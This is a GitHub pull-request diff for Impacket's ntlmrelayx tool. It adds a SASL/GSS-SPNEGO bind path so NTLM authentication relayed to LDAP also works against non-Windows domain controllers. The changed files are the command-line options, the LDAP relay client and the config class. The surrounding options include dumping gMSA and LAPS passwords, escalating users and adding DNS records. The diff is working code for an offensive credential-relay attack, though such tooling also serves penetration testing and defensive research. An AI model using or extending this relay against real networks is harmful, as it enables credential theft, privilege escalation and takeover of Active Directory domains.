Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 2 additions & 1 deletion examples/ntlmrelayx.py
Original file line number Diff line number Diff line change
Expand Up @@ -195,7 +195,7 @@ def start_servers(options, threads):
c.setLootdir(options.lootdir)
c.setOutputFile(options.output_file)
c.setdumpHashes(options.dump_hashes)
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record)
c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record, options.use_sasl_gssapi)
c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port, options.icpr_ca_name)
c.setMSSQLOptions(options.query)
c.setInteractive(options.interactive)
Expand Down Expand Up @@ -398,6 +398,7 @@ def stop_servers(threads):
ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user')
ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info')
ldapoptions.add_argument('--add-dns-record', nargs=2, action='store', metavar=('NAME', 'IPADDR'), required=False, help='Add the <NAME> record to DNS via LDAP pointing to <IPADDR>')
ldapoptions.add_argument('--use-sasl-gssapi', action='store_true', required=False, help='Use NTLM via GSSAPI/SASL instead of Sicily (Useful for non-Windows DCs)')

#Common options for SMB and LDAP
commonoptions = parser.add_argument_group("Common options for SMB and LDAP")
Expand Down
70 changes: 51 additions & 19 deletions impacket/examples/ntlmrelayx/clients/ldaprelayclient.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,15 +25,16 @@
from ldap3 import Server, Connection, ALL, NTLM, MODIFY_ADD
from ldap3.operation import bind
try:
from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED
from ldap3.core.results import RESULT_SUCCESS, RESULT_STRONGER_AUTH_REQUIRED, RESULT_SASL_BIND_IN_PROGRESS
except ImportError:
LOG.fatal("ntlmrelayx requires ldap3 > 2.0. To update, use: 'python -m pip install ldap3 --upgrade'")
sys.exit(1)

from impacket.examples.ntlmrelayx.clients import ProtocolClient
from impacket.ldap.ldap import BindRequest
from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED
from impacket.ntlm import NTLMAuthChallenge, NTLMSSP_AV_FLAGS, AV_PAIRS, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION
from impacket.spnego import SPNEGO_NegTokenResp
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech

PROTOCOL_CLIENT_CLASSES = ["LDAPRelayClient", "LDAPSRelayClient"]

Expand All @@ -44,7 +45,7 @@ class LDAPRelayClient(ProtocolClient):
PLUGIN_NAME = "LDAP"
MODIFY_ADD = MODIFY_ADD

def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True ):
def __init__(self, serverConfig, target, targetPort = 389, extendedSecurity=True):
ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
self.extendedSecurity = extendedSecurity
self.negotiateMessage = None
Expand Down Expand Up @@ -84,25 +85,46 @@ def sendNegotiate(self, negotiateMessage):
with self.session.connection_lock:
if not self.session.sasl_in_progress:
self.session.sasl_in_progress = True
request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
result = response[0]
try:
sicily_packages = result['server_creds'].decode('ascii').split(';')
except KeyError:
raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)

if 'NTLM' in sicily_packages: # NTLM available on server
request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
if not self.serverConfig.usesaslgssapi:
request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY')
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
result = response[0]
if result['result'] == RESULT_SUCCESS:
try:
sicily_packages = result['server_creds'].decode('ascii').split(';')
except KeyError:
raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result)

if 'NTLM' in sicily_packages: # NTLM available on server
request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self)
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
result = response[0]
if result['result'] == RESULT_SUCCESS:
challenge = NTLMAuthChallenge()
challenge.fromString(result['server_creds'])
self.sessionData['CHALLENGE_MESSAGE'] = challenge
return challenge
else:
raise LDAPRelayClientException('Server did not offer NTLM authentication!')
else:
SPNEGO_wrapped_negotiateMessage = SPNEGO_NegTokenInit()
SPNEGO_wrapped_negotiateMessage['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
SPNEGO_wrapped_negotiateMessage['MechToken'] = self.negotiateMessage

bindRequest = BindRequest()
bindRequest['version'] = 3
bindRequest["name"] = b""
bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO'
bindRequest['authentication']['sasl']['credentials'] = SPNEGO_wrapped_negotiateMessage.getData()

req = self.session.send('bindRequest', bindRequest, None)
response = self.session.post_send_single_response(req)
result = response[0]
if result['result'] == RESULT_SASL_BIND_IN_PROGRESS:
SPNEGO_wrapped_challenge = SPNEGO_NegTokenResp(result['saslCreds'])
challenge = NTLMAuthChallenge()
challenge.fromString(result['server_creds'])
challenge.fromString(SPNEGO_wrapped_challenge['ResponseToken'])
self.sessionData['CHALLENGE_MESSAGE'] = challenge
return challenge
else:
raise LDAPRelayClientException('Server did not offer NTLM authentication!')

#This is a fake function for ldap3 which wants an NTLM client with specific methods
def create_negotiate_message(self):
Expand Down Expand Up @@ -135,8 +157,18 @@ def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

with self.session.connection_lock:
self.authenticateMessageBlob = token
request = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
response = self.session.post_send_single_response(self.session.send('bindRequest', request, None))
if not self.serverConfig.usesaslgssapi:
bindRequest = bind.bind_operation(self.session.version, 'SICILY_RESPONSE_NTLM', self, None)
else:
SPNEGO_wrapped_negotiateMessage = SPNEGO_NegTokenResp()
SPNEGO_wrapped_negotiateMessage['ResponseToken'] = token

bindRequest = BindRequest()
bindRequest['version'] = 3
bindRequest["name"] = b""
bindRequest['authentication']['sasl']['mechanism'] = 'GSS-SPNEGO'
bindRequest['authentication']['sasl']['credentials'] = SPNEGO_wrapped_negotiateMessage.getData()
response = self.session.post_send_single_response(self.session.send('bindRequest', bindRequest, None))
result = response[0]
self.session.sasl_in_progress = False

Expand Down
6 changes: 5 additions & 1 deletion impacket/examples/ntlmrelayx/utils/config.py
Original file line number Diff line number Diff line change
Expand Up @@ -191,7 +191,7 @@ def setDomainAccount(self, machineAccount, machineHashes, domainIp):
def setRandomTargets(self, randomtargets):
self.randomtargets = randomtargets

def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord):
def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord, usesaslgssapi=False):
self.dumpdomain = dumpdomain
self.addda = addda
self.aclattack = aclattack
Expand All @@ -204,6 +204,7 @@ def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateus
self.dumpadcs = dumpadcs
self.sid = sid
self.adddnsrecord = adddnsrecord
self.usesaslgssapi = usesaslgssapi

def setMSSQLOptions(self, queries):
self.queries = queries
Expand Down Expand Up @@ -282,6 +283,9 @@ def setMSSQLDb(self, mssql_db):
def setAltName(self, altName):
self.altName = altName

def setUseSaslGssapi(self, usesaslgssapi):
self.usesaslgssapi = usesaslgssapi

def parse_listening_ports(value):
ports = set()
for entry in value.split(","):
Expand Down